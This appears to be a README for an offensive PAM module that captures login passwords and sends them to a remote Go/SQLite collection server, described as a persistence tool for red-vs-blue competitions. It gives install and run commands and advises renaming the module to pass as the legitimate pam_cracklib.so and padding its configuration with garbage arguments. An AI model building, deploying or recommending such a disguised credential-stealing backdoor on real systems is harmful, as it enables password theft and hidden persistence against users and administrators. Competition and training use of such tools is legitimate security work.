A PAM module to intercept authentication requests and send the authentication token (usually a password) to a remote server. Useful for RvB competitions as initial persistence.
Note: An HTTP server feature has been added using Go and SQLite3
For Debian-based distros, libpam0g-dev
must be installed to compile this module.
# the following will compile and install the module to `/usr/lib/x86_64-linux-gnu/security/`
$ ./install.sh
In order to run the server, Go must be installed.
$ cd server
$ go run server.go
- Make sure to configure the correct networking interface, server hostname, and server port before compiling
- Install the module under a different name, something like
pam_cracklib.so
- The module ignores all arguments, so put as much garbage as you want!